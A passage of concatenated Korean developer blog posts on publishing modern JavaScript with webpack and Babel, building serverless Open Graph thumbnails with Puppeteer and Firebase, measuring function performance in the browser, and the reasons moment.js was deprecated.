레거시 자바스크립트란 위에서 언급한 새로운 기능을 사용하지 않은 코드라 볼 수 있다. 대부분의 개발자는 모던한 문법으로 작성하지만, 브라우저의 지원을 늘리기 위하여 레거시 구문으로 컴파일한다🤪. 레거시 구문으로 컴파일하면 브라우저 지원 범위가 증가하지만, 그 효과는 우리가 생각하는 것보다 작다. 레거시 자바스크립트로 95% 정도의 수치를 98% 로 늘릴 수 는 있지만, 그 비용은 엄청나다.

> 나머지 2%는 no javascript 가 아닐까 싶습니다

- 레거시 자바스크립트는 모던 자바스크립트와 비교 했을 때 일반적으로 20% 정도 용량이 더 크고 느리다. 만약 여기에서 잘못 구성한다면 그 차이가 더 커질 수 있다.
- 별도로 설치하는 자바스크립트 라이브러리의 경우 일반적인 자바스크립트 코드의 90% 정도를 차지 한다. 이 코드에 폴리필 등이 추가 된다면 더 많은 자바스크립트 오버헤드가 발생할 수 있다.

## npm에서 모던 자바스크립트

[최근에 nodejs는 패키지의 엔트리 포인트를 지정할 수 있게 해주었다.](https://nodejs.org/api/packages.html#packages_package_entry_points)

```json
{
  "exports": "./index.js"
}
```

`exports` 필드에서 참조하는 모듈은 최소 ES2019를 지원하는 12.8의 노드 버전을 의미한다. 따라서 exports를 참조하는 모듈은 모던 자바스크립트로 작성할 수 있음을 의미한다. 따라서 모던 코드만 있는 패키지를 배포하고, 트랜스파일링은 사용하는 사람에게 맡기고 싶다면 위처럼 `exports` 필드만 사용하면 된다.

`exports`와 함께 `main`을 사용한다면, 레거시 브라우저를 위한 ES5와 CommonJS를 제공할 수 있다. 일종의 modern 한 코드의 레거시 폴백이다.

```json
{
  "name": "foo",
  "exports": "./modern.js",
  "main": "./legacy.cjs"
}
```

CommonJS로 작성된 fallback에, `module`을 추가한다면 유사하게 legacy fallback 번들로 동작하지만, 자바스크립트 모듈 문법인 `import`와 `export`도 사용 가능하다.

```json
{
  "name": "foo",
  "exports": "./modern.js",
  "main": "./legacy.cjs",
  "module": "./module.js"
}
```

이렇게 하는 이유는, 웹팩과 롤업과 같은 번들러에서 트리쉐이킹을 할 수 있도록 하기 위해서다. 이 코드는 `import` `export` 이외에 모던 코드를 사용하지 않는 레거시 번들 이므로, 레거시 코드를 지원함과 동시에 번들링에 최적화 시킬 수 있다는 장점을 가지고 있다.

## 애플리케이션의 모던 자바스크립트

써드파티 디펜던시는 프로덕션 웹 애플리케이션의 대부분을 차지한다. npm 의존성은 역사적으로 레거시 ES5로 퍼블리싱 되어왔지만, 이에 의존하는 것은 더 이상 안전하지 못한 가정이며, 애플리케이션에서 브라우저 지원을 해칠 수도 있는 위험한 행동이다.

모던 자바스크립트로 이동하는 npm 패키지가 점차 많아지면서 이를 다룰 수 있는 도구를 설치하는 것이 중요 해졌다. 여거라지 방법이 있지만, 일반적으로 좋은 아이디어는 의존성을 내가 작성하는 코드의 문법 수준과 맞춰 트랜스파일 하는 것이다.

## 웹팩

웹팩5에서 부터, 번들 및 모듈에 대한 코드를 생성할 때 마다 사용할 문법을 설정할 수 있다. 이는 코드나 의존성을 트랜스파일링 하는 것이 아니고, 오직 webpack에 의해 생성된 코드를 붙일 때 영향을 미친다. 브라우저 지원 타겟을 설저하기 위해서는 `browserlist`설정을 추가하거나, 혹은 웹팩 설정에 바로 넣어두면 된다.

```javascript
module.exports = {
  target: ['web', 'es2017'],
}
```

또한 웹팩에서 모던 ES 모듈 환경을 타겟으로 한다면, 불필요한 wrapper 함수를 생략하여 번들 크기를 최적화하는 설정을 할 수 다.

```javascript
module.exports = {
  target: ['web', 'es2017'],
  output: {
    module: true,
  },
  experiments: {
    outputModule: true,
  },
}
```

이외에도 웹팩을 활용하여 모던 자바스크리븥 문법을 활용하면서 동시에 레거시 브라우저도 지원할 수 있도록 도와주는 많은 도구들이 존재한다.

## Optimize Plugin

[Optimize Plugin](https://github.com/developit/optimize-plugin)은 개별 자바스크립트 파일을 레거시 자바스크립트로 만드는 대신에, 최종적으로 만들어진 모던 번들 코드를 레거시 자바스크립트로 변환시켜주는 도구다. 웹팩 설정을 통해 모든 것이 모던 자바스크립트라고 가정하기 때문에, 특별한 처리가 필요하지 않다. 또한 이는 개별 모듈이 아닌 번들 레벨에서 동작하므로 애플리케이션의 코드와 디펜던시를 동등하게 처리한다. 이는 최종 번들링된 파일을 다시 레거시 문법으로 만드는 것이기 때문에, 전통적인 방식보다 빠를 수 있다. 이러한 두개의 모듈은 [module/nomodule pattern](https://web.dev/serve-modern-code-to-modern-browsers/)에서 사용된다.

```javascript
// webpack.config.js
const OptimizePlugin = require('optimize-plugin')

module.exports = {
  // ...
  plugins: [new OptimizePlugin()],
}
```

`Optimize Plugin`은 모던 코드와 레거시 코드를 따로 번들링 하는 기존 방식보다 더 빠르고 효율적이다. 또한 `Babel`처리도 가능하며, `Terser`를 활용하여 각각의 번들 크기를 줄일 수도 있다. 마지막으로, 레거시 번들에 필요한 폴리필을 따로 관리하기 때문에, 모던 브라우저에서 이를 로딩하지 않도록 도와준다.

https://storage.googleapis.com/web-dev-assets/fast-publish-modern-javascript/transpile-before-after.webm

## BabelEsmPlugin

웹팩 플러그인 중 하나인 [BabelEsmPlugin](https://github.com/prateekbh/babel-esm-plugin)는 `@babel/preset-env` 와 함께 사용할 수 있으며, 현재 가지고 있는 번들을 모던 브라우저에 서비스 할 수 있도록 트랜스파일링을 최소화 해준다. 이는 Next.js나 preact cli에서도 사용하는 가장 유명한 module/nomodule 솔루션이다.

```javascript
// webpack.config.js
const BabelEsmPlugin = require('babel-esm-plugin')

module.exports = {
  //...
  module: {
    rules: [
      // your existing babel-loader configuration:
      {
        test: /\.js$/,
        exclude: /node_modules/,
        use: {
          loader: 'babel-loader',
          options: {
            presets: ['@babel/preset-env'],
          },
        },
      },
    ],
  },
  plugins: [new BabelEsmPlugin()],
}
```

`BabelEsmPlugin`는 애플리케이션에서 크게 분리된 두가지 빌드를 실행하기 때문에 다양한 웹팩 설정을 지원한다. 두 번 컴파일 하는 것은 대규모 애플리케이션에 약간의 추가 시간이 걸릴 수 있지만, 이는 BabelEsmPlugin이 기존의 웹팩 설정에 원활한 통합 등을 도와주며, 편의성도 제공한다.

## node_modules을 트랜스파일 하기 위한 babel-loader 설정

위에서 언급한 두개의 플러그인 대신 `babel-loader`를 사용하고 있다면, npm 모듈을 모던 자바스크립트로 사용하기 위한 중요한 단계가 남아 있다. 두개의 개별적인 바벨 로더를 구성해서 정의한다면, node_modules에서 발견되는 최신 언어 스펙을 ES2017로 자동으로 컴파일 하는 동시에, 프로젝트에 구성된 babel 플러그인과 사전 설정으로 자신의 코드를 1차적으로 변환할 수 있다. 이는 module/nomodule 설정의 번들을 생성하지는 않지만, 오래된 브라우저 지원을 깨트리지 않고 모던 자바스크립트가 포함된 npm 패지키를 설치하고 사용하는 것을 가능하게 한다.

[webpack-plugin-modern-npm](https://www.npmjs.com/package/webpack-plugin-modern-npm) 을 사용하면, npm 디펜던시에 `exports`가 있는 코드들을 컴파일한다.

```javascript
// webpack.config.js
const ModernNpmPlugin = require('webpack-plugin-modern-npm')

module.exports = {
  plugins: [
    // auto-transpile modern stuff found in node_modules
    new ModernNpmPlugin(),
  ],
}
```

대신에 이 기능을 수동으로 설정할 수 도 있다.

```javascript
// webpack.config.js
module.exports = {
  module: {
    rules: [
      // Transpile for your own first-party code:
      {
        test: /\.js$/i,
        loader: 'babel-loader',
        exclude: /node_modules/,
      },
      // Transpile modern dependencies:
      {
        test: /\.js$/i,
        include(file) {
          let dir = file.match(/^.*[/\\]node_modules[/\\](@.*?[/\\])?.*?[/\\]/)
          try {
            return dir && !!require(dir[0] + 'package.json').exports
          } catch (e) {}
        },
        use: {
          loader: 'babel-loader',
          options: {
            babelrc: false,
            configFile: false,
            presets: ['@babel/preset-env'],
          },
        },
      },
    ],
  },
}
```

이 방법을 사용할 때는 minifier가 이러한 모던 코드를 지원할 수 있도록 해야 한다. `Terser` `Uglify-es`에 `{ecma: 1027}`를 지정할 수 있는 옵션이 있으며, 경우에 따라 압축하거나 포맷하는 와중에 `ES2017`구문을 생성하기도 한다.

## 추가적인 빌드 툴

- https://parceljs.org/
- https://www.snowpack.dev/
- https://github.com/vitejs/vite
- https://github.com/preactjs/wmr

## 결론

ES2017 이 요즘 흔히 말하는 모던 자바스크립트에 가장 근접한 스펙이며, npm, babel, rollup 등을 빌드 시스템에 사용하여 패키지와 문법을 모던 자바스크립트에서 동작할 수 있도록 설정할 수 있다.

출처: https://web.dev/publish-modern-javascript/

---

Source: https://yceffort.kr/2020/12/generate-serverless-thumbnail.md
Title: 서버리스로 블로그 포스트 썸네일 생성하기
Description: 어차피 나만 볼거임 ㅋㅅㅋ
Date: 2020-12-08
Tags: nextjs, serverless, backend

사이트를 카카오톡, 페이스북 등 SNS에서 공유할 때 이른바 썸네일이 보이게 하기 위해서는 [open graph tool](https://ogp.me/)를 사용해야 한다. 트위터의 경우에는 자체 정의된 `twitter:*` 시리즈의 무언가를 이용해야 한다. 내 모든 블로그 글에 이쁜 대문 이미지가 있으면 좋겠지만, 모든 것에 현실적으로 이미지를 만드는 것은 불가능하고 귀찮다. 그래서 주어진 이미지에 블로그의 메타 정보를 쓰는 방식으로 정적 이미지를 만든 다음, 이 이미지를 공유용 이미지로 서빙하는 방법에 대해서 고민해 보았다.

## 구성

og tag image 주소 요청 > 해당 주소로 cloudinary에 이미지가 있는지 확인

- 있다면 그 주소로 리다이렉트
- 없다면 > 블로그에 이미지 형태로 준비되어 있는 페이지 방문 > 해당 페이지 스크린샷 > 스크린샷 한 이미지를 cloudinary에 업로드 > 해당 이미지 주소로 리다이렉트

## 1. 정적인 이미지를 만들 페이지 구성하기

`/generate-screenshot`이라는 이름으로 페이지를 하나 만들고, 거기에 정적으로 생성할 이미지를 일단 웹페이지 형태로 만들어보았다.

https://yceffort.kr/generate-screenshot?tags=javascript&title=%EC%9E%90%EB%B0%94%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%20%ED%95%A8%EC%88%98%EC%9D%98%20%EC%84%B1%EB%8A%A5%20%EC%B8%A1%EC%A0%95%ED%95%98%EA%B8%B0&url=https%3A%2F%2Fyceffort.kr%2F2020%2F12%2Fmeasuring-performance-of-javascript-functions

https://github.com/yceffort/yceffort-blog-v2/blob/master/pages/generate-screenshot.tsx

여기저기 글을 본 결과 최적의 사이즈는 `1200x630`으로 알려져 있으며, 해당 사이즈에 맞게 페이지를 구성하면 된다.

## 2. 해당 페이지를 스크린샷 찍기

이제 해당 페이지를 방문해서 스크린샷을 찍어야 한다. 첫 번째로 시도한 것은 [nextjs에 api를 활용하여 vercel에서 시도하는 것](https://nextjs.org/docs/api-routes/introduction)이었다. 그러나 결과적으로 이 시도는 실패했는데, 일단 스크린샷을 찍기 위해서는 puppetter의 headless chrome instance를 띄워야 하는데 이 메모리가 생각보다 많이 들었다. 그리고 별개의 폰트도 설치해야 하는데 그 과정까지 vercel에서 할 수 없었으므로, [firebase functions](https://firebase.google.com/docs/functions)을 활용하기로 했다.

시작하는 방법은 [여기](https://firebase.google.com/docs/functions/get-started)에 잘 나와있다. 심지어 한글로 되어 있다.

```javascript
exports.screenshot = functions.https.onRequest(async (req, res) => {
  const query = req.query
  const title = encodeURI(query.)
  const firebaseTitle = title.replace(/\//gi, '-')
  const screenshotRef = db.collection('screenshot')

  const exist = await screenshotRef.doc(firebaseTitle).get()

  if (exist.exists) {
    return res.redirect(exist.data().url)
  }

  try {
    const postUrl = `http://yceffort.kr/generate-screenshot?${queryString.stringify(
      query,
    )}`
    const screenshot = await takeScreenshot(postUrl)
    const uploadedImage = await putImage(title, screenshot)
    screenshotRef.doc(firebaseTitle).set({
      url: uploadedImage,
    })
    res.redirect(uploadedImage)
  } catch (e) {
    console.error(e)
    res.json({ error: e.toString() })
  }
})
```

```javascript
const takeScreenshot = async function (url) {
  const chromiumPath = await chromium.executablePath

  const browser = await chromium.puppeteer.launch({
    executablePath: chromiumPath,
    args: chromium.args,
    defaultViewport: chromium.defaultViewport,
    headless: chromium.headless,
  })

  const page = await browser.newPage()
  await page.setViewport({height: 630, width: 1200})
  await page.goto(url)
  const buffer = await page.screenshot({encoding: 'base64'})
  await browser.close()
  return `data:image/png;base64,${buffer}`
}
```

여기서 겪은 삽질을 몇가지 소개해본다.

### 1) puppeteer는 무겁다

puppeteer를 npm install 로 설치해보면 꽤 시간이 걸린다는 것을 알 수 있다. 그래서 `puppeteer`를 `puppeteer-core`만 설치하고, cloud function에서 쓸 수 있는 다른 chromium 브라우저를 알아 봐야 한다. 그래서 https://github.com/alixaxel/chrome-aws-lambda 를 설치했다. 그리고 `iltorb` 도 함께 설치해 주어야 한다.

### 2) react metatag의 query escape

원래는 이 주소를 넘겼다.

https://us-central1-yceffort.cloudfunctions.net/screenshot?slug=2020%2F12%2Fmeasuring-performance-of-javascript-functions&tags=javascript&title=%EC%9E%90%EB%B0%94%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%20%ED%95%A8%EC%88%98%EC%9D%98%20%EC%84%B1%EB%8A%A5%20%EC%B8%A1%EC%A0%95%ED%95%98%EA%B8%B0&url=https%3A%2F%2Fyceffort.kr%2F2020%2F12%2Fmeasuring-performance-of-javascript-functions

그러나 소스 보기로 해당 주소를 보면 아래와 같이 되어 있었다.

```html
<meta
  property="og:image"
  content="https://us-central1-yceffort.cloudfunctions.net/screenshot?slug=2020%2F12%2Fmeasuring-performance-of-javascript-functions&amp;tags=javascript&amp;title=%EC%9E%90%EB%B0%94%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%20%ED%95%A8%EC%88%98%EC%9D%98%20%EC%84%B1%EB%8A%A5%20%EC%B8%A1%EC%A0%95%ED%95%98%EA%B8%B0&amp;url=https%3A%2F%2Fyceffort.kr%2F2020%2F12%2Fmeasuring-performance-of-javascript-functions"
/>
```

`&`가 `&amp;`로 escape 처리 되어 있는 것이다.

- https://github.com/facebook/react/issues/13838
- https://github.com/vercel/next.js/issues/2006

두가지 선택이 있었는데, query param 구조로 되어 있는 주소를 path variable 로 모두 바꾸거나, 혹은 받는 쪽에서 처리를 하는 것이다. path를 다 바꾸기는 넘 귀찮아서 아래와 같은 처리를 추가해주었다.

```javascript
const query = Object.keys(context.query).map(
    (key) => (query[key.replace(/amp;/, '')] = context.query[key]),
  ) as any
```

### 3) 느린 속도

스크린샷을 찍고, 이미지를 업로드 해서 내려주는 최초의 과정은 느릴 수 밖에 없다.그러나 문제는 두번째 과정 이후 부터 있었다. 이미 이미지가 생성되었는지 확인하기 위해 cloudinary에 get 요청을 날리는데, 이 과정 또한 쓸데 없이 오래 걸렸다. 그래서 cloudinary에 찔러서 확인하는대신, 한번 생성된 이미지는 key와 value 형태로 주소를 firebase에 저장해 두어 더 빠르게 내려주었다.

저장

```javascript
const uploadedImage = await putImage(title, screenshot)
screenshotRef.doc(firebaseTitle).set({
  url: uploadedImage,
})
```

불러오기

```javascript
const exist = await screenshotRef.doc(firebaseTitle).get()

if (exist.exists) {
  return res.redirect(exist.data().url)
}
```

그렇다고 해서 속도문제가 완전히 해결된 것은 아니었다. 첫단계에서는 여전히 생성속도가 느리고, 주소에서 느껴지겠지만, 미국 동부를 거쳐서 왔다리 갔다리 해야 하기 때문에 여전히 좀 답답한면이 있다.

## 3. 메타 태그에 심기

```html
<meta
  property="og:image"
  content="https://us-central1-yceffort.cloudfunctions.net/screenshot?slug=2020%2F12%2Fmeasuring-performance-of-javascript-functions&amp;tags=javascript&amp;title=%EC%9E%90%EB%B0%94%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%20%ED%95%A8%EC%88%98%EC%9D%98%20%EC%84%B1%EB%8A%A5%20%EC%B8%A1%EC%A0%95%ED%95%98%EA%B8%B0&amp;url=https%3A%2F%2Fyceffort.kr%2F2020%2F12%2Fmeasuring-performance-of-javascript-functions"
/>
```

```html
<meta
  name="twitter:image"
  content="https://us-central1-yceffort.cloudfunctions.net/screenshot?slug=2020%2F12%2Fmeasuring-performance-of-javascript-functions&amp;tags=javascript&amp;title=%EC%9E%90%EB%B0%94%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%20%ED%95%A8%EC%88%98%EC%9D%98%20%EC%84%B1%EB%8A%A5%20%EC%B8%A1%EC%A0%95%ED%95%98%EA%B8%B0&amp;url=https%3A%2F%2Fyceffort.kr%2F2020%2F12%2Fmeasuring-performance-of-javascript-functions"
/>
```

## 결과

![preview1](./images/metadata-preview1.png)

![preview2](./images/metadata-preview2.png)

## 문제점

- 여전히 좀 느리다. 당연히, 초기 생성단계에서는 느릴 수 밖에 없다. 이것을 어떻게 해결할 것인가가 관건이다. 글이 올라간 뒤에, github action으로 트리거 해서 생성할 것인가? 혹은 배포 단계에 이를 포함할 것인가?
- firebase functions, firebase storage, 거기에 cloudinary까지 사용하고 있다. 코로나 시대에 줄어든 용돈으로, 과연 여기까지 커버할 수 있을 것인가? vercel은 언제 또 나에게 pro 버전으로 내 지갑을 재차 노릴 것인가?

참으로 무시무시한 일이 아닐 수 없다.

---

Source: https://yceffort.kr/2020/12/measuring-performance-of-javascript-functions.md
Title: 자바스크립트 함수의 성능 측정하기
Description: 사실 실전에서 해본적은 거의 없음 😇
Date: 2020-12-02
Tags: javascript, web-performance

## Table of Contents

## `Performance.now`

Performance API는 `performance.now()`를 통해서 [DOMHighResTimeStamp](https://developer.mozilla.org/en-US/docs/Web/API/DOMHighResTimeStamp)에 접근할 수 있게 해준다. `performance.now()`는 페이지를 로드한 이후로 지난 ms를 보여준다. 최대 정밀도는 `5µs`정도다.

```javascript
const t0 = performance.now()
for (let i = 0; i < array.length; i++) {
  // some code.......
}
const t1 = performance.now()
console.log(t1 - t0, 'milliseconds')
```

`Chrome`

```bash
0.6350000001020817 "milliseconds"
```

`Firefox`

```bash
1 milliseconds
```

Chrome 과 Firefox 의 결과에 조금 차이가 있는 것을 볼 수 있는데, 이는 Firefox가 60버전 이후로 performance API의 정밀도를 2ms 정도로 조정했기 때문이다.

Performance API는 이외에도 다양한 기능을 제공하는데, [여기](https://blog.logrocket.com/how-to-practically-use-performance-api-to-measure-performance/)에tj 확인 가능하다.

### `Date.now`를 써도 되지 않을까?

물론 이것도 가능하지만, 약간의 차이가 있다.

`Date.now`는 마찬가지로 ms를 리턴하는데, 이는 시스템의 시간에서 Unix epoch(1970-01-01T00:00:00Z)의 차이를 리턴한다. 이는 부정확할 뿐만 아니라, 항상 증가한다고도 볼 수 없다.

> System time을 기반으로한 Date를 기준으로 실제 사용자를 모니터링하는 것은 적절치 않다. 대부분의 시스템은 정기적으로 시간을 동기화 하는 데몬을 실행한다. 그리고 그 시계는 15분 내지 20분 마다 몇 ms 씩 조정되는 것이 일반적이다. 따라서 그 속도에서 측정된 10 초간격의 1% 정도가 부정확할 것이다.

> Perhaps less often considered is that Date, based on system time, isn't ideal for real user monitoring either. Most systems run a daemon that regularly synchronizes the time. It is common for the clock to be tweaked a few milliseconds every 15-20 minutes. At that rate about 1% of 10 second intervals measured would be inaccurate.

출처: https://developers.google.com/web/updates/2012/08/When-milliseconds-are-not-enough-performance-now

## `Performance.mark` and `Performance.measure`

`Performance.now` 외에도 코드의 여러 지점에서 시간을 특정하고, 이를 [Webpagetest](https://felixgerschau.com/custom-metrics-webpagetest/)와 같은 성능 테스트 도구세어 사용자 지정 메트릭으로 사용할 수 있는 몇가지 다른 함수들이 존재한다.

### `Performance.mark`

이름에서 느껴지는 것 처럼, 코드 내에서 마킹을 할 수 있는 용도다.이 마크는 performance buffer에서 timestamp를 생성하여 나중에 코드의 특정 부분을 실행하는데 걸린 시간을 측정하는데 사용 가능하다.

마킹을 생성하기 위해서는, string을 파라미터로 함수를 호출해야 하며, 이 string은 나중에 식별자 용도로 사용된다. 마찬가지로 최대 정밀도는 `5µs`정도다.

```javascript
performance.mark('name')
```

- detail: null
- name: "name"
- entryType: "mark"
- startTime: 268528.33999999985
- duration: 0

### `Performance.measure`

이 함수는 1~3개의 arguments를 받는다. 첫번째 인수는 `name`이고, 나머지는 측정하고 싶은 마킹 영역을 넣으면 된다.

네비게이션 시작부터 측정

```javascript
performance.measure('measure name')
```

네비게이션 시작부터 특정 마킹 까지

```javascript
performance.measure('measure name', undefined, 'mark-2')
```

특정 마킹 부터 바킹까지

```javascript
performance.measure('measure name', 'mark-1', 'mark-2')
```

마킹 부터 지금까지

```javascript
performance.measure('measure name', 'mark-1')
```

## 측정 값 수집

### `performance entry buffer`로 부터 데이터 수집

이전 부터 계속 측정 결과가 `performance entry buffer` 에 수집된다고 언급했는데, 이제는 여기에 접근하여 값을 가져오는 방법을 알아보고자 한다.

이를 위해 performance API는 3종류의 api를 제공한다.

- `performance.getEntries()`: `performance entry buffer`에 저장된 모든 것을 보여준다.
- `performance.getEntriesByName('name')`
- `performance.getEntriesByType('type')`: 특정 타입에 대해서만 보여준다. `measure`, `mark`만 가능

모든 예제를 종합하자면, 대략 아래와 같은 코드가 만들어 질 것이다.

```javascript
performance.mark('mark-1')
// 성능을 측정할 코드...........
performance.mark('mark-2')
performance.measure('test', 'mark-1', 'mark-2')
console.log(performance.getEntriesByName('test')[0].duration)
```

## `console.time`

단순히 `console.time`을 호출하고, 측정 종료 시점에 `console.timeEnd`를 호출하면 된다.

```javascript
console.time('test')
for (let i = 0; i < array.length; i++) {
  // some code
}
console.timeEnd('test')
```

`chrome`

```bash
test: 0.766845703125ms
```

`firefox`

```bash
test: 2ms - timer ended
```

다른 API 대비 사용하기 간단하고, 수동으로 비교를 하지 않아도 알아서 비교를 해준다는 장점이 있다.

## 시간 정확도

당연한 이야기 이지만, 여러 브라우저에서 성능을 측정하다보면 결과가 다르다는 것을 눈치 챌 수 있다. 이는 브라우저가 [타이밍 공격](https://en.wikipedia.org/wiki/Timing_attack)과 [핑거프린팅](https://pixelprivacy.com/resources/browser-fingerprinting/) 등의 공격기법으로 부터 유저를 보호하기 위해서다. 이 시간이 너무나도 정확하다면, 해커는 사용자를 간단하게 식별할 수 있을 것이다.

앞서 언급한 이유 때문에, 60버전이후의 Firefox에서는 이러한 정확도를 최대 2ms정도로 감소 시켰다.

## 유념해야 할것

### 분할해서 살펴볼 것

단순히 코드의 어떤 부분이 느린지 엉뚱하게 추측하지 말고, 위에서 언급한 기능들을 사용하여 각각 나눠서 정밀하게 측정하자. 느린부분을 찾기 위해, 느린 코드 블록 주위에 `console.time`을 배치하자. 그 다음, 각부분의 성능을 측정하자. 만약 어떤 부분이 다른 부분보다 느리다는 것을 알아넀다면, 계속 나아가서 병목현상을 일으키는 부분을 찾을 때 까지 더 깊이 들어가자.

### 입력 값에 주의를

실제 애플리케이션에서는, 함수의 입력 값에 따라 결과가 많이 달라질 수 있다. 단순히 함수의 랜덤 값으로 테스트 할 것이 아니라, 실제로 사용되는 예제를 바탕으로 측정하는 것이 좋다.

### 함수를 여러번 실행하자.

배열을 순회하는 함수 내에서, 각각의 원소값을 계산하고 그 결과를 배열로 리턴하는 함수가 있다고 가정해보자. `forEach`와 `for`중에 무엇이 더 성능에 우위가 있을지 알아보고 싶을 것이다.

```javascript
function testForEach(x) {
  console.time('test-forEach')
  const res = []
  x.forEach((value, index) => {
    res.push((value / 1.2) * 0.1)
  })

  console.timeEnd('test-forEach')
  return res
}

function testFor(x) {
  console.time('test-for')
  const res = []
  for (let i = 0; i < x.length; i++) {
    res.push((x[i] / 1.2) * 0.1)
  }

  console.timeEnd('test-for')
  return res
}
```

```javascript
const x = new Array(100000).fill(Math.random())
testForEach(x)
testFor(x)
```

파이어 폭스에서 실행한다면 대략 이런 결과가 나올 것이다.

```bash
test-forEach: 4ms - 타이머 종료됨
test-for: 2ms - 타이머 종료됨
```

`forEach`가 더 느린가? 🤔 싶지만 여러번 하게 되면

```bash
test-forEach: 4ms
test-forEach: 3ms
test-for: 2ms
test-for: 1ms
```

별반 차이가 없음을 알수 있다.

### 그리고 다양한 브라우저에서

똑같은 짓을 크롬에서 해보자.

```bash
test-forEach: 5.589111328125 ms
test-forEach: 5.730712890625 ms
test-for: 4.765869140625 ms
test-for: 6.64892578125 ms
```

firefox와 chrome 은 서로 다른 자바스크립트 엔진을 가지고 있고, 이는 성능 최적화에도 차이가 있다. 이 경우, 같은 input 기준으로 firefox에서 보다 최적화를 잘하고 있음을 볼 수 있다. 그리고 두 엔진 모두에서 `forEach`보다는 `for`가 나은 것을 볼 수 있다. (유의미한 차이라고 볼 수 있을지는 모르겠지만)

따라서 성능 측정은 한브라우저에서 할 것이 아니라, 가능한 많은 모던 브라우저에서 해봐야 한다.

### CPU 스로틀링

항상 내가 개발하고 있는 컴퓨터는 대부분의 사용자가 사용하는 모바일 환경보다 더 빠르다는 것을 염두해 두어야 한다. 브라우저별로 CPU 성능을 쓰로틀 해주는 기능을 가지고 있으므로, 이를 활용해서 테스트 해야 한다.

- https://developers.google.com/web/updates/2017/07/devtools-release-notes#throttling

---

Source: https://yceffort.kr/2020/12/why-moment-has-been-deprecated.md
Title: 왜 moment 는 deprecated 되었을까
Description: 👋👋
Date: 2020-12-01
Tags: javascript, web-performance

Datetime을 다루는 것은 분명 쉬운 일은 아니다. 한참 vanilla 자바스크립트에 취해 있을 때, least library challenge(?)의 일환으로 datetime을 내재화 해서 관리하곤 했지만 이는 분명 어려운 일이었다. 그 때 마다 결국 가장 익숙한 moment로 돌아와서 하곤 했는데, 언젠가 bundle 분석을 한 뒤로 moment에 대한 사용을 조금 꺼리기 시작했다. moment는 내가 쓰는 기능 대비 정말 큰 용량을 차지하고 있었다. (timezone을 제외 하더라도) 분명 내가 moment의 좋은 기능을 쉽게 사용하는 면도 있었지만, 조금이라도 더 빠른 애플리케이션을 사용하기 위해서는 moment 외에 다른 대안이 필요했다.

그러던 중, [moment 가 deprecated 된다는 소식을 알려왔다.](https://momentjs.com/docs/)

> ... The modern web looks much different these days. Moment has evolved somewhat over the years, but it has essentially the same design as it did when it was created in 2011. Given how many projects depend on it, we choose to prioritize stability over new features.

조금 많이 뒷북이긴 하지만, 왜 moment가 역사 속으로 사라졌는지 몇가지 이유를 짚고 넘어가고자 한다.

## 1. 느리다

단도직입적으로 그래프를 통해서 알수 있다. 다른 datetime library 대비 속도가 많이 느렸다.

![speed1](https://raygun.com/blog/wp-content/uploads/2017/09/image4-2.png)

![speed2](https://raygun.com/blog/wp-content/uploads/2017/09/image3.png)

![speed3](https://raygun.com/blog/wp-content/uploads/2017/09/image1.png)

출처: https://raygun.com/blog/moment-js-vs-date-fns/

뭐 여러가지 이유가 있겠지만, regex를 주로 쓰는 moment에 대비 다른 라이브러리들은 `Z`로 끝나면 `new Date(string)`을 쓴다던지, 혹은 느린 regex 대신에 자체적으로 개발한(?) `if` 와 `charAt` 등을 쓴다던지 다양한 노력들을 하고 있었다. regex를 파싱해서 이해하는 작업은 확실히 느리다.

## 2. 무겁다

![size-of-datetime-libraries](./images/size-of-datetime-libraries.png)

출처: https://inventi.studio/en/blog/why-you-shouldnt-use-moment-js

https://github.com/jmblog/how-to-optimize-momentjs-with-webpack

기본적으로 momentjs는 232kb, (gzip시 66kb) 이며, webpack으로 locale을 제거할 경우 사이즈는 68kb (gzip시 23kb) 까지 떨어진다. 그리고 더 이상의 tree shaking은 불가능하다. js-joda가 제법 크긴 하지만 기간과 타임존까지 기본으로 제공하는 라이브러리라는 것을 알아둬야 한다. 그리고 나머지 라이브러리들은 트리쉐이킹이 가능하다.

## 3.mutable이다.

이는 moment 공식 가이드에서도 언급한 문제다.

> As an example, consider that Moment objects are mutable. This is a common source of complaints about Moment. We address it in our usage guidance but it still comes as a surprise to most new users. Changing Moment to be immutable would be a breaking change for every one of the projects that use it. Creating a "Moment v3" that was immutable would be a tremendous undertaking and would make Moment a different library entirely. Since this has already been accomplished in other libraries, we feel that it is more important to retain the mutable API.

https://inventi.studio/en/blog/why-you-shouldnt-use-moment-js

```javascript
const startedAt = moment()
const endedAt = startedAt.add(1, 'year')

console.log(startedAt) // > 2020-02-09T13:39:07+01:00
console.log(endedAt) // > 2020-02-09T13:39:07+01:00
```

`moment`를 조작하는 모든 method 들은 리턴 값과 참조값 모두를 바꿔 버리기 때문에, 에러를 만들 소지가 높다.

## 4. 디버깅이 어렵다.

`moment`안에 파라미터를 넣는 것은 좋은 아이디어이긴하지만, 그 안에 따라서 동작이 매우 일관적이지 못하다. 예를 들어, moment 안에 잘못된 값을 넣었을 경우 에러가 나는게 아니라 그냥 현재 시간이 나와버릴 수도 있다.

```javascript
moment().format() // > 2019-02-08T17:07:22+01:00
moment(undefined).format() // > 2019-02-08T17:07:22+01:00
moment(null).format() // > Invalid date
moment({}).format() // > 2019-02-08T17:07:22+01:00
moment('').format() // > Invalid date
moment([]).format() // > 2019-02-08T17:07:22+01:00
moment(NaN).format() // > Invalid date
moment(0).format() // > 1970-01-01T01:00:00+01
```

요약하자면, `undefined`는 가능하지만, `null` `''`, `NaN`은 안된다.

## 결국

lighthouse에서도 에러가 뜨고

![lighthouse warning](https://pbs.twimg.com/media/EhM0XE3UwAA2Co5?format=jpg&name=medium)

https://twitter.com/addyosmani/status/1304676118822174721

moment를 최적화 하는 방법까지도 알려지기 시작했다.

https://github.com/GoogleChromeLabs/webpack-libs-optimizations#moment

## 대안

사이즈가 중요한 프론트엔드의 경우 `date-fns`나 `day.js`가 좋다. 그 외의 경우에는 기능이 가장 리치한 `js-joda`를 사용하는 것이 좋다.

|          | size   | size(gzip) | speed(to) | tree-shaking | immutable | throw error | timezone |
| -------- | ------ | ---------- | --------- | ------------ | --------- | ----------- | -------- |
| moment   | 232/68 | 66/26      | 16.527    | X            | X         | X           | O        |
| day.js   | 6      | 3          | 9.129     | X            | O         | X           | X        |
| luxon    | 64     | 18         | 15.406    | X            | O         | O           | O        |
